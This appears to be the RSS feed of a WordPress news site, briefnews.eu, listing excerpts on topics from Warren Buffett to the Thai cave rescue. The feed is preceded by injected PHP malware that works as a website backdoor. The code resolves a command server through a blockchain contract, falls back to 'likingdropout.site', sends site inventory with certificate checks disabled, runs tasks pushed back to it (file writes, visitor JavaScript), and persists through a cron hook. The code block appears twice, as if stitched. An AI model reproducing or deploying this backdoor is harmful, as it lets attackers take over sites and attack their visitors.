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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sticking – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 01 Oct 2018 14:50:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sticking – Brief News https://briefnews.eu 32 32 Companies are sticking to a practice that Warren Buffett and other business titans warn is damaging the economy https://briefnews.eu/companies-are-sticking-to-a-practice-that-warren-buffett-and-other-business-titans-warn-is-damaging-the-economy/ https://briefnews.eu/companies-are-sticking-to-a-practice-that-warren-buffett-and-other-business-titans-warn-is-damaging-the-economy/#respond Mon, 01 Oct 2018 14:50:26 +0000 http://briefnews.eu/companies-are-sticking-to-a-practice-that-warren-buffett-and-other-business-titans-warn-is-damaging-the-economy/ Warren BuffettREUTERS/Fred Prouser

  • Berkshire Hathaway CEO Warren Buffett has long decried Wall Street’s habit of providing quarterly earnings guidance.
  • But last year, S&P 500 companies issued forward guidance at the highest rate since 2008, according to a report by S&P Global Market Intelligence.
  • Executives have made fewer forecasts this year amid more calls to do away with the practice.

Warren Buffett has long said that short-termism is bad for companies, but many didn’t seem to concur last year.

Companies on the S&P 500 issued quarterly earnings guidance 444 times in 2017, the most since 2008, according to a report by S&P Global Market Intelligence released on Thursday.

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]]> https://briefnews.eu/companies-are-sticking-to-a-practice-that-warren-buffett-and-other-business-titans-warn-is-damaging-the-economy/feed/ 0 It Looks Like Cadillac Is Sticking With Its Alphanumeric Naming Strategy https://briefnews.eu/it-looks-like-cadillac-is-sticking-with-its-alphanumeric-naming-strategy/ https://briefnews.eu/it-looks-like-cadillac-is-sticking-with-its-alphanumeric-naming-strategy/#respond Tue, 14 Aug 2018 00:01:38 +0000 http://briefnews.eu/it-looks-like-cadillac-is-sticking-with-its-alphanumeric-naming-strategy/ Not everyone was a fan of Cadillac’s decision to dive into an alphanumeric naming plan for its models. Seen as an attempt to copy German brands like BMW, Audi, and Mercedes-Benz, General Motors’ luxury arm began aggressively chasing the trend in the new millennium. But a great many traditionalists still feel that alphanumeric names are […]

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]]> https://briefnews.eu/it-looks-like-cadillac-is-sticking-with-its-alphanumeric-naming-strategy/feed/ 0 Risky Thailand cave rescue relied on talent, luck—and on sticking to the rules https://briefnews.eu/risky-thailand-cave-rescue-relied-on-talent-luck-and-on-sticking-to-the-rules/ https://briefnews.eu/risky-thailand-cave-rescue-relied-on-talent-luck-and-on-sticking-to-the-rules/#respond Mon, 23 Jul 2018 14:48:38 +0000 http://briefnews.eu/risky-thailand-cave-rescue-relied-on-talent-luck-and-on-sticking-to-the-rules/

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Last week, the world was riveted by the successful rescue of a youth soccer team as they and their coach were pulled out of a flooded cave in Thailand. The team had been stranded on a narrow rock shelf in the dark for two weeks, the way out blocked by turbid stormwater. The rescue involved far more than a few divers putting on gear and heading into the cave—it required a tremendous amount of technical skill and posed extreme danger.

But why, exactly, was it so dangerous? And what would it feel like to dive in those kinds of conditions?

I’m a professional diver with 16 years of dive experience, including safety diving and cave diving, and I have trained numerous scuba instructors. I also work full-time in a safety diving role, so answering the first question from a technical perspective is easy enough. The short answer is that all cave diving is dangerous (we’ll dig into why below).

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]]> https://briefnews.eu/risky-thailand-cave-rescue-relied-on-talent-luck-and-on-sticking-to-the-rules/feed/ 0 Sticking to your diet? This tooth-mounted food sensor could transmit the truth https://briefnews.eu/sticking-to-your-diet-this-tooth-mounted-food-sensor-could-transmit-the-truth/ https://briefnews.eu/sticking-to-your-diet-this-tooth-mounted-food-sensor-could-transmit-the-truth/#respond Sat, 24 Mar 2018 21:28:28 +0000 http://briefnews.eu/sticking-to-your-diet-this-tooth-mounted-food-sensor-could-transmit-the-truth/

Logan Garbarini models the 2×2 mm sensor that monitors ingested fluids and transmits information wirelessly. (credit: Fio Omenetto, Tufts University)

With this latest wearable gadget, you could really sink your teeth into tracking your diet and health.

A tiny tooth-mounted sensor can wirelessly transmit radio frequency data about the foods you’re noshing, reporting on sugar, salt, and alcohol in real-time. The creators, led by biomedical engineer Fiorenzo Omenetto of Tufts University, hope that the dental device will someday help consumers and researchers make “conclusive links between dietary intake and health.” They report their prototype in a study that will be published next week in the journal Advanced Materials.

Omenetto’s team has long been working on such radio frequency sensors—ones for the skin, brain, and surgical implants. It made sense to move to the mouth, Omenetto tells Ars. “There are a plethora of markers in the mouth that… are very relevant to our health states,” he said. But the team was in talks with the nutrition researchers at Tufts that they thought “’gee, wouldn’t it be great if you could track your diet.’”

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]]> https://briefnews.eu/sticking-to-your-diet-this-tooth-mounted-food-sensor-could-transmit-the-truth/feed/ 0 California, Colorado governors target electric vehicle sticking point—charging https://briefnews.eu/california-colorado-governors-target-electric-vehicle-sticking-point-charging/ https://briefnews.eu/california-colorado-governors-target-electric-vehicle-sticking-point-charging/#respond Mon, 29 Jan 2018 00:28:54 +0000 http://briefnews.eu/california-colorado-governors-target-electric-vehicle-sticking-point-charging/

Enlarge / Closeup of Chargepoint electric-vehicle charger at Google headquarters in Silicon Valley (Photo by Smith Collection/Gado/Getty Images). (credit: Getty Images)

Last week, California Governor Jerry Brown announced one of the most ambitious electric vehicle (EV) incentive plans in the country. Colorado’s Governor John Hickenlooper also announced plans to improve infrastructure for battery-powered cars last week. Although EVs are still less than 1 percent of the total US passenger fleet, the two announcements show that state leaders are thinking about a second phase of EV rollout, as federal incentives are projected to run out for some automakers but climate change concerns grow increasingly urgent.

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In California last week, Brown signed an Executive Order directing the state to adopt policies that could result in 5 million EVs on the road by 2030. That goal replaces an October 2016 goal put forward by Brown targeting 1.5 million EVs on California’s roads by 2025.

California has aggressive emissions goals and has been one of the major champions of renewable energy buildout. But the state’s transportation profile is still excessively reliant on gas and diesel. According to the Governor’s Office, transportation makes up 50 percent of the state’s greenhouse gas emissions.

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]]> https://briefnews.eu/california-colorado-governors-target-electric-vehicle-sticking-point-charging/feed/ 0 Sticking to your New Year’s resolution could lower your risk of CANCER by a THIRD https://briefnews.eu/sticking-to-your-new-years-resolution-could-lower-your-risk-of-cancer-by-a-third-2/ https://briefnews.eu/sticking-to-your-new-years-resolution-could-lower-your-risk-of-cancer-by-a-third-2/#respond Thu, 04 Jan 2018 15:21:53 +0000 http://briefnews.eu/sticking-to-your-new-years-resolution-could-lower-your-risk-of-cancer-by-a-third-2/

Making healthier lifestyle choices could reduce the risk of cancer by up to a third, claimed scientists from Cardiff University.

Popular New Year’s resolutions – including maintaining a healthy diet, exercising more regularly and limiting alcohol intake – could help to ward off cancer, they said.

The scientists urged people to stick by their resolutions, as a healthy lifestyle has many benefits – not just a reduction in cancer risk.

More than 350,000 new cases of cancer are diagnosed in the UK every year.

“The take-home message is that healthy behaviours can have a truly tangible benefit,” said leader of the research, Professor Peter Elwood.

“A healthy lifestyle has may benefits additional to cancer reduction – it costs nothing, has no undesirable side effects…. and is better than any pill.”

The scientists analysed 500,000 individuals’ behaviour and lifestyle choices as part of the study.

They identified their healthy behaviours, and compared them to the risk of cancer over several years.

Combining all of the healthy lifestyle choices together would reduce the risk of cancer by up to a third, they revealed.

Each healthy behaviour – regular exercise or a healthy diet, for example – lowered the risk of cancer by about eight per cent.

Now, the scientists want to find the very best lifestyle choices, and to create realistic recommendations to lower the risk of cancer.

“Perhaps the advice to take up one additional healthy behaviour is the most acceptable message for most subjects,” said Elwood.

More than 160,000 people died from cancer in the UK in 2014, said Cancer Research UK.

Almost half of all cancer cases are preventable, it added.

Meanwhile, it was also revealed that eating more wholegrain foods could lower the risk of colon cancer.

Wholegrain are packed full of fibre, which is important in lowering the risk of heart disease, type 2 diabetes and cancer, according to the British Nutrition Foundation.

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CANCER risk could be reduced by up to a third in people that stick to their New Year’s resolutions, researchers have claimed.

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]]> https://briefnews.eu/sticking-to-your-new-years-resolution-could-lower-your-risk-of-cancer-by-a-third/feed/ 0 I tried the desktop of the future — and I’m sticking with the past https://briefnews.eu/i-tried-the-desktop-of-the-future-and-im-sticking-with-the-past/ https://briefnews.eu/i-tried-the-desktop-of-the-future-and-im-sticking-with-the-past/#respond Sun, 26 Nov 2017 06:50:09 +0000 http://briefnews.eu/i-tried-the-desktop-of-the-future-and-im-sticking-with-the-past/ computer laptop woman listening workingStrelka Institute for Media, Architecture and Design/Flickr

  • The Meta 2 headset provides an augmented reality in the workplace and intends to replace desktop computers.
  • The virtual tabs and apps would constantly freeze after a couple minutes.
  • The constant hand gestures and the Meta 2’s weight were tiring after awhile.
  • While the product shows a step towards augmented reality, it will be awhile until seamless AR is on the market.

 

For the past few days I’ve augmented my reality at work, adding virtual displays to my office so that, while wearing a special headset, I can do things like type e-mails and read news and tweets without taking up real estate on my small laptop. I’ve brought virtual objects to my desk, too, like a little pile of logs burning in a charming, heat-free fire.

I did all this with the Meta 2 headset, a $ 1,495 device from Meta, a Silicon Valley startup that is one of a handful of companies trying to bring augmented reality to the mass market (its founder, Meron Gribetz, was named one of MIT Technology Review’s 35 Innovators Under 35 in 2016). The Meta 2, which is intended for developers, needs to be connected to a beefy computer in order to work, but it’s about half the price of Microsoft’s HoloLens device (also still aimed just at developers), has a larger field of view, and also produces very good-looking 3-D images in real environments.

It sounds pretty cool to add digital elements to the real world, right? It’s something I’ve been writing about, testing, and looking forward to for years now. Sadly, while I wish I could tell you that the desktop of the future is just around the corner, truthfully, it’s at least several blocks away, if not even farther out.

Since I’m curious about how augmented reality could be used for a regular computer-heavy work day, I concentrated on Meta’s Workspace demo app. I imagined using hand gestures to open lots of Web browser windows and placing them all around me, letting YouTube videos play in the background, pulling up a giant Twitter feed, and writing e-mails, all in AR. I figured I’d place all these things around me, interacting with them as needed while continuing to work on the laptop, too.

That’s not exactly how it turned out.

The biggest problem I had was with the app freezing. Many, many times, after a few minutes of use, an object that I was interacting with in Workspace would suddenly stick in front of my face, moving around with me no matter how I turned my head. I tried recalibrating the headset, restarting the app, changing the lighting, and even moving to a new room (in fact, I tried several different work spaces and desks). With assistance from Meta’s tech support, I got a newer version of the SDK; that improved the issue somewhat, but it remained a problem.

When it did work, images looked good. Workspace uses a bookcase-like visualization for its application launcher, with 3-D app icons placed neatly on shelves that you pull out to open. It’s very cool to open a browser window, start watching a video, pause it, and then turn your head to turn your head to concentrate on something else; after all, you can always turn back to it later on.

Meta has a lot of good ideas about how we should interact with virtual elements. Hand gestures aren’t hard to figure out — to grab, say, a virtual Batman figure and move it, you hold your open palm in front of it, facing Batman, and when you see a closed circle appear on the back of your hand you make a fist, move the object where you want, and then open your fist. The same kind of gesture works for opening applications. And you can enlarge an object by first going through these grabbing steps with both hands on an object, and then stretching your fists outward.

At the risk of sounding like a wimp, however, I found these kinds of interactions and others—like poking to try to select a link, for instance — quickly tiring (something I’ve also noticed with the “air tap” gesture Microsoft uses with its AR headset, HoloLens). For the most part, it was easier to just use a wireless mouse and keyboard to click things.

I also found that the headset, which weighs a bit over a pound, was too heavy for me to wear for more than 25 minutes or so at a time without getting a headache. If you’re interested in using an AR headset for specific, limited tasks, like viewing a 3-D model to get a more realistic sense of it than you can on a flat screen, this wouldn’t be a problem; if you want to make it an integrated part of your work day, though, the weight may make it impossible.

woman holding iphone 5Getty ImagesAnother pain point that crept up on me: I realized that if I wasn’t trying to look at an AR object but at a colleague who walked in or at my (now seemingly old-fashioned) computer monitor, I had to shift my gaze below the headset’s clear visor to get an unobstructed view. This made it hard to switch tasks; I’m not sure how Meta can fix the problem without redesigning the visor’s shape.

When the Meta 2 didn’t work as I wanted it to, I reminded myself that I was using demo software and a not-yet-consumer-ready headset. Still, I got irritated, because I wanted it to work.

I’m tired of waiting for a seamless AR experience that’s not limited to a smartphone; I want to believe the vision Gribetz shared with me about a year and a half ago, when he said he imagines that within five years (so, by roughly mid-2021) AR headsets will be simplified to a “nearly invisible” strip of glass over the eyes.

At this point, I’m skeptical about the timeline, but I think it’s possible in the not-too-distant future. I hope the software being created to make these experiences amazing will get there, too.

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]]> https://briefnews.eu/i-tried-the-desktop-of-the-future-and-im-sticking-with-the-past/feed/ 0 Family Guy's Sad Brian Twist Is Sticking https://briefnews.eu/family-guys-sad-brian-twist-is-sticking/ https://briefnews.eu/family-guys-sad-brian-twist-is-sticking/#respond Tue, 14 Nov 2017 00:47:33 +0000 http://briefnews.eu/family-guys-sad-brian-twist-is-sticking/ Four years after Family Guy temporarily killed off Brian, the Fox comedy is serving up another multi-episode storyline at the expense of the Griffins’ pet.